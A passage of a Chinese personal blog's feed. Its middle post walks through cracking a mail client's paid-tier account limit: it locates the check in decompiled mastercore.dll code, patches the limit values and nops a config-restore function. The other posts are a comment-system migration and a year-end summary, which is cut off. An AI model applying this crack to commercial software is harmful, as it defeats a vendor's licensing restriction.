<span class="keyword">if</span> (file.<span class="property">size</span> &gt; <span class="number">128</span> * <span class="number">1000</span>) <span class="keyword">return</span> <span class="title function_">reject</span>(<span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;File too large! File size limit 128KB&#x27;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> reader = <span class="keyword">new</span> <span class="title class_">FileReader</span>();</span><br><span class="line"></span><br><span class="line">    reader.<span class="title function_">readAsDataURL</span>(file);</span><br><span class="line">    reader.<span class="property">onload</span> = (): <span class="function"><span class="params">void</span> =&gt;</span> <span class="title function_">resolve</span>(reader.<span class="property">result</span> <span class="keyword">as</span> <span class="built_in">string</span>);</span><br><span class="line">    reader.<span class="property">onerror</span> = reject;</span><br><span class="line">  &#125;);</span><br></pre></td></tr></table></figure><p>改掉条件和提示就行了</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (file.<span class="property">size</span> &gt; <span class="number">5120</span> * <span class="number">1000</span>) <span class="keyword">return</span> <span class="title function_">reject</span>(<span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;File too large! File size limit 5MB&#x27;</span>));</span><br></pre></td></tr></table></figure><p>然后跑 <code>pnpm build</code>，在 <code>dist</code> 目录下找到 <code>waline.umd.js</code> 然后用 <code>&lt;script&gt;</code> 标签引入即可</p><p><img src="https://assets.bili33.top/img/Migrate-from-Valine-to-Waline/Code_UjzKrpqMm9.png"></p><p>至此，所有的迁移工作都完成了</p><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>说实话，我是没想到只是迁移一个评论系统会涉及到这么多的工作，我以为只是简单的数据迁移</p><p>但实际操作起来，还是发现坑有点多，就一个一个攻克过来了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="Tech" scheme="https://bili33.top/categories/Tech/"/>
    
    
    <category term="Valine" scheme="https://bili33.top/tags/Valine/"/>
    
    <category term="Waline" scheme="https://bili33.top/tags/Waline/"/>
    
    <category term="Comment" scheme="https://bili33.top/tags/Comment/"/>
    
    <category term="Migration" scheme="https://bili33.top/tags/Migration/"/>
    
  </entry>
  
  <entry>
    <title>记一次对某邮箱软件账户数量上限破解</title>
    <link href="https://bili33.top/posts/Reverse-Engineering-Cracking-MailMaster/"/>
    <id>https://bili33.top/posts/Reverse-Engineering-Cracking-MailMaster/</id>
    <published>2026-01-19T12:34:03.000Z</published>
    <updated>2026-03-31T05:59:59.349Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><div class="note danger flat"><p>本文仅做技术交流，请支持正版软件</p></div><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>邮件这个东西对我来说一直很重要，我最开始用的是巨硬的那个邮件 UWP 客户端，那个是真的好用，但是耐不住巨硬要推他那个 Outlook New，然后邮件 UWP 就死翘翘了</p><p>之前我找到一家厂子的邮件客户端很好用，但是它限制普通用户只能有 10 个邮箱账户，我自己的邮箱都不止十个了，这哪里够用，然后我就转战了 DreamMail</p><p>但是 DreamMail 我近期发现有些邮件它看不了（体现为邮件内容全白），并且这个客户端存在编码问题，会导致邮件内容显示出问题</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260119234325301.png"></p><p>于是我就又尝试用回了某厂的这个邮箱软件，但是限制 10 个账户咋办嘛，那就只能发挥我只学了一点点的逆向技术去改一改了</p><div class="note warning flat"><p>本文旨在记录我逆向研究的过程，请支持正版软件</p></div><h1 id="破解过程"><a href="#破解过程" class="headerlink" title="破解过程"></a>破解过程</h1><p>本次用到的客户端版本是某厂的 5.4.2.1011 版本，这个算是一个比较老的版本了</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260119234029533.png"></p><h2 id="安装软件"><a href="#安装软件" class="headerlink" title="安装软件"></a>安装软件</h2><p>这点倒没啥好说的，勾选同意各种协议即可</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260119234754892.png"></p><p>因为我以前的数据是在的，所以安装完打开就告诉我登录邮箱达到上限了</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260119235023770.png"></p><h2 id="定位限制所在位置"><a href="#定位限制所在位置" class="headerlink" title="定位限制所在位置"></a>定位限制所在位置</h2><p>先看看这个程序是什么东西写的，打开目录发现本体才几百 K，有个版本号目录，点进去发现有 Qt 组件，应该是 Qt 没跑了</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260119235215944.png"></p><p>尝试找一下提示所在的位置，添加邮箱的时候，软件会弹出一个提示，让我们开通会员</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260119235300892.png"></p><p>所以直接找提示，又因为在当前目录找到了一个 <code>webui.zip</code>，所以猜软件应该是从 zip 文件中获取它的前端内容，解压一下，直接搜关键词「登录邮箱」，搜出来一坨</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260119235420628.png"></p><p>直接看到有个 <code>app.min.js</code>，直觉告诉我一般在这种地方，不对的话……再说吧</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">s.<span class="title function_">createElement</span>(_.<span class="property">AlertMaster</span>,&#123;<span class="attr">className</span>:O.<span class="property">account_limit_tips</span>,<span class="attr">alertType</span>:<span class="string">&quot;error&quot;</span>,<span class="attr">alertContent</span>:r.<span class="property">dashiPlusVipState</span>&gt;<span class="number">0</span>?<span class="string">&quot;登录邮箱达到最高上限，建议您适当删减不常用的邮箱。&quot;</span>:<span class="string">&quot;登录邮箱达到上限，建议开通大师会员解锁更多邮箱数量或删减不常用的邮箱。&quot;</span>,<span class="attr">closable</span>:!<span class="number">0</span>,<span class="attr">onClose</span>:<span class="keyword">function</span>(<span class="params"></span>)&#123;t.<span class="title function_">setState</span>(&#123;<span class="attr">showAddAccountLimitTip</span>:!<span class="number">1</span>&#125;),w.<span class="title function_">stat</span>(w.<span class="property">STATS_KEYS</span>.<span class="property">pc_accountlist_email_limit_close_click</span>,&#123;&#125;)&#125;,<span class="attr">seamless</span>:!<span class="number">0</span>,<span class="attr">actions</span>:r.<span class="property">dashiPlusVipState</span>&gt;<span class="number">0</span>?[]:[&#123;<span class="attr">text</span>:<span class="string">&quot;立即解锁&quot;</span>,<span class="attr">onClick</span>:<span class="keyword">function</span>(<span class="params"></span>)&#123;y.<span class="property">AccountInfoPrefHandler</span>.<span class="title function_">navigateTo</span>(&#123;<span class="attr">path</span>:<span class="string">&quot;web&quot;</span>,<span class="attr">params</span>:&#123;<span class="attr">url</span>:t.<span class="property">state</span>.<span class="property">configInfo</span>.<span class="property">ds_setting_accountlist_dashi_master_link</span>||<span class="string">&quot;&quot;</span>,<span class="attr">isModal</span>:!<span class="number">0</span>,<span class="attr">sharedWebId</span>:<span class="string">&quot;pay_vip_window&quot;</span>,<span class="attr">pageSize</span>:&#123;<span class="attr">width</span>:<span class="number">786</span>,<span class="attr">height</span>:<span class="number">600</span>&#125;&#125;&#125;),w.<span class="title function_">stat</span>(w.<span class="property">STATS_KEYS</span>.<span class="property">pc_accountlist_email_limit_unlock_click</span>,&#123;&#125;)&#125;&#125;]&#125;)</span><br></pre></td></tr></table></figure><p>可以看到上面的内容，与我们看到的弹窗基本相符。可以看到这里有一个检测是否为 VIP 的过程，稍微搜一下什么 <code>Account</code> <code>Limit</code> 之类的关键词，可以搜到有一个 <code>addAccountLimit</code>，可以猜测与账户数量限制有关</p><p>刚刚说了这是一个 Qt 程序，它的主逻辑也不在那个几百 k 的启动程序，所以再去看看文件，发现有 <code>mastercore.dll</code></p><p>尝试丢进 IDA 反编译，搜索字符串，发现对应的东西</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260119235953389.png"></p><p>双击以后按 <kbd>X</kbd> 看看引用，可以看到有这样的逻辑</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">HIBYTE(v24) = <span class="number">0</span>;</span><br><span class="line">v28[<span class="number">0</span>] = sub_1009211B((<span class="type">char</span> *)&amp;v24 + <span class="number">3</span>);</span><br><span class="line">sub_1002B300(v37, <span class="string">&quot;addAccountLimit&quot;</span>);</span><br><span class="line">sub_10036C40(v37, v28[<span class="number">0</span>]);</span><br><span class="line">sub_1002B220(v37);</span><br></pre></td></tr></table></figure><p>进入 <code>sub_1009211B</code> 函数看看，可以发现限制所在的位置</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span> __cdecl <span class="title function_">sub_1009211B</span><span class="params">(_BYTE *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// ebx</span></span><br><span class="line">  _DWORD *v2; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> n100_1; <span class="comment">// esi</span></span><br><span class="line">  <span class="type">char</span> v4; <span class="comment">// bl</span></span><br><span class="line">  <span class="type">int</span> var_24; <span class="comment">// [esp+Ch] [ebp-24h] BYREF</span></span><br><span class="line">  <span class="type">int</span> var_20; <span class="comment">// [esp+10h] [ebp-20h] BYREF</span></span><br><span class="line">  <span class="type">char</span> Str1[<span class="number">12</span>]; <span class="comment">// [esp+14h] [ebp-1Ch] BYREF</span></span><br><span class="line">  _BYTE v9[<span class="number">12</span>]; <span class="comment">// [esp+20h] [ebp-10h] BYREF</span></span><br><span class="line"></span><br><span class="line">  var_20 = <span class="number">10</span>;</span><br><span class="line">  var_24 = <span class="number">100</span>;</span><br><span class="line">  sub_10091545(&amp;var_20, &amp;var_24);</span><br><span class="line">  v1 = sub_1010B2F4();</span><br><span class="line">  v2 = (_DWORD *)sub_1070F6F0(v9);</span><br><span class="line">  n100_1 = (v2[<span class="number">1</span>] - *v2) &gt;&gt; <span class="number">3</span>;</span><br><span class="line">  sub_1008FDA9(v9);</span><br><span class="line">  <span class="keyword">if</span> ( v1</span><br><span class="line">    &amp;&amp; (<span class="type">unsigned</span> __int8)sub_104FC0B0(v1)</span><br><span class="line">    &amp;&amp; (sub_1002B300(Str1, <span class="string">&quot;IsVip&quot;</span>), v4 = sub_104E1C60(Str1), sub_1002B220(Str1), v4) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( n100_1 &gt;= var_24 )</span><br><span class="line">    &#123;</span><br><span class="line">      *a1 = <span class="number">1</span>;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( n100_1 &gt;= var_20 )</span><br><span class="line">  &#123;</span><br><span class="line">    *a1 = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里对 VIP 和非 VIP 进行了判断，明显下面的 <code>else if</code> 就是我们非会员的情况，限制了 10 个账户，而会员给到了 100 个的额度，在上面的 js 代码中也能看到会员其实也有数量限制，能够确认的是 <code>var_20</code> 是普通用户限制，<code>var_24</code> 是会员用户限制，所以先改个名字为 <code>userLimit</code> 和 <code>vipLimit</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">userLimit = <span class="number">10</span>;</span><br><span class="line">vipLimit = <span class="number">100</span>;</span><br></pre></td></tr></table></figure><h2 id="修改上限数值"><a href="#修改上限数值" class="headerlink" title="修改上限数值"></a>修改上限数值</h2><p>对这里的数值进行修改，虽然这里给到了 <code>int</code> 类型，但是我还是改的稍微保守一点，都改成 255 吧（<code>FFh</code>）</p><p>我这里用 patch bytes 改的，keypatch 不知道为啥会炸</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260120001233863.png"></p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260120001003233.png"></p><p>改好了以后预览一下改的内容</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260120001258565.png"></p><p>然后导出程序，得到修改后的 dll，直接覆盖到程序里面去，结果……没成功？</p><h2 id="nop-掉恢复函数"><a href="#nop-掉恢复函数" class="headerlink" title="nop 掉恢复函数"></a>nop 掉恢复函数</h2><p>经查发现后面还带着这两个限制变量跑了一个 <code>sub_10091545(&amp;userLimit, &amp;vipLimit);</code></p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260120001911358.png"></p><p>翻了一下这个函数，是一个从文件读取配置的函数，读取不到就自动恢复成 10 和 100</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> *__cdecl <span class="title function_">sub_10091545</span><span class="params">(<span class="type">int</span> *arg0, <span class="type">int</span> *n100_2)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> v2; <span class="comment">// bl</span></span><br><span class="line">  <span class="type">int</span> *n100_1; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// eax</span></span><br><span class="line">  _BYTE v6[<span class="number">176</span>]; <span class="comment">// [esp+Ch] [ebp-B8h] BYREF</span></span><br><span class="line">  <span class="type">int</span> p_n10; <span class="comment">// [esp+BCh] [ebp-8h] BYREF</span></span><br><span class="line">  <span class="type">int</span> n100; <span class="comment">// [esp+C0h] [ebp-4h]</span></span><br><span class="line"></span><br><span class="line">  v2 = <span class="number">0</span>;</span><br><span class="line">  p_n10 = <span class="number">10</span>;</span><br><span class="line">  n100 = <span class="number">100</span>;</span><br><span class="line">  sub_10507FE0();</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">unsigned</span> __int8)sub_10507030(&amp;p_n10, <span class="number">1</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    *arg0 = p_n10;</span><br><span class="line">    n100_1 = (<span class="type">int</span> *)n100;</span><br><span class="line">    *n100_2 = n100;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> __int8)sub_1002D970(<span class="number">2</span>) )</span><br><span class="line">    &#123;</span><br><span class="line">      v4 = sub_1002DA20(<span class="string">&quot;E:\\mailmaster\\mailmasterQT\\src\\qui\\ui\\utils\\utils.cpp&quot;</span>, <span class="number">392</span>, <span class="number">2</span>);</span><br><span class="line">      v5 = sub_1002A3E0(v4 + <span class="number">8</span>, <span class="string">&quot;GetAddAccountLimitConf&quot;</span>);</span><br><span class="line">      sub_1002A3E0(v5, <span class="string">&quot;: GetAddAccountLimit failed&quot;</span>);</span><br><span class="line">      v2 = <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( (v2 &amp; <span class="number">1</span>) != <span class="number">0</span> )</span><br><span class="line">      sub_1002DB90(v6);</span><br><span class="line">    *arg0 = <span class="number">10</span>;</span><br><span class="line">    n100_1 = n100_2;</span><br><span class="line">    *n100_2 = <span class="number">100</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> n100_1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我管你那么多，直接不让跑，nop 掉</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260120002013675.png"></p><p>重新导出一下，覆盖</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260120002034710.png"></p><p>这下就没有讨人厌的提示了</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260120002137140.png"></p><h2 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h2><p>此时尝试添加一个新的邮箱，发现登陆框正常弹出，游戏结束</p><p><img src="https://assets.bili33.top/img/Reverse-Engineering-Cracking-MailMaster/image-20260120002220501.png"></p><h2 id="做-Patcher"><a href="#做-Patcher" class="headerlink" title="做 Patcher"></a>做 Patcher</h2><p>以上原理有了，让 AI 写个脚本来 patch 吧</p><p>因为在反编译的代码里面，userLimit 和 vipLimit 都给到了 int 类型，所以可以大胆改成一个很大的值</p><blockquote><p><a href="https://github.com/GamerNoTitle/MailMaster-Account-Limit-Escaper">https://github.com/GamerNoTitle/MailMaster-Account-Limit-Escaper</a></p></blockquote><h1 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h1><p>这是我第一次做这种破解类的事情，但是但是但是，好孩子不要学哦，我做这个只是用来学习的，被 Cracked 的程序已经被我恢复原样了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="Tech" scheme="https://bili33.top/categories/Tech/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="Reverse" scheme="https://bili33.top/tags/Reverse/"/>
    
    <category term="MailMaster" scheme="https://bili33.top/tags/MailMaster/"/>
    
  </entry>
  
  <entry>
    <title>2025 年终总结</title>
    <link href="https://bili33.top/posts/2025-Year-End-Summary/"/>
    <id>https://bili33.top/posts/2025-Year-End-Summary/</id>
    <published>2025-12-30T17:10:19.000Z</published>
    <updated>2026-03-31T05:59:59.338Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>因为之前刷工作室大佬 <a href="https://unk.org.cn/">unk</a> 的博客，发现有那么一个年终总结，考虑到 24 年才刚加入工作室，也没啥好总结的。但 25 年不一样，参加了一些比赛，有了一定的成绩。</p><p>现在是 2025 年 12 月 31 日凌晨 1 点左右（跑 <code>hexo new</code> 的时候是 <code>1:10</code>），是一个在前一天九点钟跟一群兄弟出去吃海底捞后回来因为没有热水所以用热水壶煮了热水洗完澡的状态，可以来做一个总结了。</p><h1 id="学习"><a href="#学习" class="headerlink" title="学习"></a>学习</h1><p>学习方面，也是成功过了一个学年了（2024-2025 学年），由于之前存在保研的想法，所以绩点说实话，还不错</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231012444702.png" alt="大一上学期绩点"></p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231012506692.png" alt="大一下学期绩点"></p><p>最后在综评里面平均学分绩点为 <code>3.7252</code>，不算高，高不过那些真正在学习上很有成绩的大佬；不算低，比大多数人要高就是了。</p><p>我本身就是个数学苦手，两次高考数学一次 <code>87</code> 一次 <code>86</code>，是那种死学都只能学个半斤八两的<br><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231012917779.png" alt="高数上"><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231012947387.png" alt="高数下"><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231013006058.png" alt="线性代数"></p><p>不过最终看下来，只能说数学拖了一点后腿，但不多，能接受吧</p><p>计算机基础课这一块还是可以的，虽然离散数学、数值分析啥的是我没学过的东西，但是最终看下来成绩不错</p><p>啥？你问我离散数学为啥只有 <code>84</code>？离散数学，那也是数学呀</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231013313971.png" alt="离散数学"><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231013335832.png" alt="Python 数值分析"></p><p>再加上各种各样的奖项（2024-2025 学年的），也是成功险胜第二名，爬到了兄弟班综评的第一，本专业综评第二，成功申请了学校的一等奖学金。（+2000 CNY）</p><p>此外，还成功申请了一个企业奖学金，并且它压着 2025 年的年尾发放，我本来都以为我得 27 年才能把这奖学金的税给退回来（奖学金算意外所得，扣 20%，但我辅导员说可以退税），年尾发放就意味着我可以在 26 年就退税啦，可喜可贺可喜可贺</p><h1 id="奖项与证书"><a href="#奖项与证书" class="headerlink" title="奖项与证书"></a>奖项与证书</h1><div class="note info flat"><p>此处不包含 CTF 相关奖项，这个会在下面一起讲</p></div><p>在 24 年入学以来，其实我大大小小也参与了很多比赛了，下面就快速过一下</p><h2 id="CET6"><a href="#CET6" class="headerlink" title="CET6"></a>CET6</h2><p>首先不得不说的就是怎么都绕不开的 CET，这个东西其实我在复读之前已经考了 CET4 了，所以我可以上来就干 CET6，我只能说，很舒服</p><p>其实我并没有怎么备考，只是在当天早上 CET4 在考试的时候，我在 B 站看了一下 CET6 的做题小技巧（其实是 Trick），重点看了一下听力而已</p><p>结果还挺让我意外的，居然有 500+ 诶</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231014523760.png" alt="CET6"></p><h2 id="GDUTCTF"><a href="#GDUTCTF" class="headerlink" title="GDUTCTF"></a>GDUTCTF</h2><p>这个没放在下面的 CTF 那一节，是因为它是校赛，基本上就是打着玩的</p><p>因为这个比赛其实都不知道其他人实力怎么样，虽然我确实是有经验，但是同时还有工作室的老师傅在打，说实话，拿个一等奖纯凭运气了（大部分老登没打，我还抢了一个三血）</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231014731495.png" alt="GDUTCTF 一等奖"></p><h2 id="新生程序设计大赛"><a href="#新生程序设计大赛" class="headerlink" title="新生程序设计大赛"></a>新生程序设计大赛</h2><div class="note info flat"><p>嘶，其实严格来算我真不能被算作新生，经验太足了</p></div><p>拿着我那个<a href="https://github.com/GDUTMeow/MentalArithmeticApp">垃圾课设口算速算</a>上去打的，当时说每个人是 4 分钟还是 5 分钟来着，我就记得我的时长比较长，甚至超了，也怪我没有提前记过时</p><p>不过看到大家都超时了，我也就无所谓了</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231014929791.png"></p><h2 id="词达人（校赛）"><a href="#词达人（校赛）" class="headerlink" title="词达人（校赛）"></a>词达人（校赛）</h2><p>只是凭借自己贫瘠的词库随便打了打而已了，要说记得多少还真不好说 &#x3D;-&#x3D;</p><p>反正结果是好的，不管他呗</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231015301470.png" alt="词达人校赛一等奖"></p><h2 id="软件著作权"><a href="#软件著作权" class="headerlink" title="软件著作权"></a>软件著作权</h2><p>这个软著其实是我的程序设计老师推荐我去申请一个的，我本来没那个想法，只是老师说可以去弄一个，综测也能加分，我就去了</p><p>还是拿着我的垃圾课设去的，中间被连续打回三次，因为各种各样的文档不规范问题，麻烦还挺多的</p><p>从 6 月份开始弄，弄到 10 月才正式下来，周期时间还挺长的，建议要申请的小伙伴预留充足时间呢</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231015530928.png" alt="软著证书（部分）"></p><h2 id="HSD2025-Codelab-一等奖"><a href="#HSD2025-Codelab-一等奖" class="headerlink" title="HSD2025 Codelab 一等奖"></a>HSD2025 Codelab 一等奖</h2><p>其实就是华为来我们学校开讲座，中间有一个 Codelab 编程环节，用的还是 homo 的 ArkTS 语言，只能说是现场学的，翻文档翻的我都要麻了，它的文档结构一坨，我至今没有找到 <code>blank</code> 组件对应的文档页面</p><blockquote><p>完整题解可以在这里找到：<a href="https://github.com/GDUTMeow/HSD2025-GDUT">https://github.com/GDUTMeow/HSD2025-GDUT</a></p></blockquote><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231015651717.png" alt="Colab 一等奖证书"></p><h1 id="CTF"><a href="#CTF" class="headerlink" title="CTF"></a>CTF</h1><h2 id="NewStarCTF-2024"><a href="#NewStarCTF-2024" class="headerlink" title="NewStarCTF 2024"></a>NewStarCTF 2024</h2><p>首先出场的是，NewStarCTF 2024 的个人奖项，在 NewStarCTF 中，我主要是打了 Week1 和 Week2，因为后面电脑坏了（笔记本散热风扇烧了），导致我不得不去修一下我的电脑，所以只能遗憾缺席后面的题目了</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231014036287.png" alt="NewStarCTF 2024 校内赛道三等奖"></p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231014101345.png" alt="NewStarCTF 2024 校内赛道 Misc 优秀奖"></p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231014131910.png" alt="NewStarCTF 2024 校内赛道 Crypto 方向优秀奖"></p><p>NewStar 算是练手了，毕竟我已经很久没打过 CTF 了，有种复健的感觉吧</p><p>不过在 NewStar 中，最让我难忘的是，当时群里老登 fallw1nd 说每周第一个 AK 比赛中 re 方向题目的奖励 500CNY，然后第一周的我还真就做到了，+500 CNY</p><h2 id="网鼎杯"><a href="#网鼎杯" class="headerlink" title="网鼎杯"></a>网鼎杯</h2><p>网鼎杯算是 Volcania 第一次参赛了，我们四个说实话基本上没有什么经验，可能就我打过相关赛事（我在之前还真参加过网鼎杯，只是爆零了而已）</p><p>上去说是走一步算一步，奈何实在是技术不精，没打进半决赛，遗憾离场，只能做网鼎未来之星了</p><p>但是都说到网鼎了，我就不得不摆出这张梗图了（懂得都懂）</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/57584C441B08A128A3FAB4946BD47801.jpg" alt="全给你 BAN 掉，一血也是"></p><h2 id="鹏城杯线下渗透演练"><a href="#鹏城杯线下渗透演练" class="headerlink" title="鹏城杯线下渗透演练"></a>鹏城杯线下渗透演练</h2><p>嗯没错，这是我第一次参加攻防演练，其实本来是老登们去的，但是因为他们进了网鼎杯决赛，时间冲突了，于是就我们 Volcania 去了</p><p>去了深圳，第一次出差，住在亚朵，住在 mysql 房（3306 这一块）</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/1767117765842(1).jpg" alt="Mysql 房间"></p><p>然后就成功在赛场上玩上了 osu!</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/1767117820092(1).jpg" alt="Click the circles"></p><p>说实话，线下渗透挺好玩的，看到了好多不同的系统，然后尝试去找出里面的问题，当然了我们经验太少了，成绩肯定也没干过一群职业选手嘛</p><h2 id="软件系统安全赛-初赛"><a href="#软件系统安全赛-初赛" class="headerlink" title="软件系统安全赛 初赛"></a>软件系统安全赛 初赛</h2><blockquote><p>CCSSSC 是对的，下次还来</p></blockquote><p>这比赛在考试前两周进行的，只能说属于是不复习跑去打比赛了，但是结果不错</p><p>我们成功打到了 #10 的位置，第一次知道了 <code>dict</code> 协议打内网 redis 更新页面的操作，进了复赛</p><h2 id="软件系统安全赛-复赛"><a href="#软件系统安全赛-复赛" class="headerlink" title="软件系统安全赛 复赛"></a>软件系统安全赛 复赛</h2><p>复赛在湖南长沙举行的，在湖南农业大学打，好耶，去长沙旅游咯！</p><p>说实话，长沙挺繁华的，特别是五一广场那一块（没去坡子街派出所）</p><p>比赛结果不错，其实算是蠕动了，但是我们成功进入了决赛</p><p>没拍啥照片，凑合看看吧</p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231020840908.png" alt="比赛现场"></p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/aea48c4607bc165d473e413ac3eeff65.jpg"></p><p><img src="https://assets.bili33.top/img/2025-Year-End-Summary/image-20251231020945786.png"></p><h2 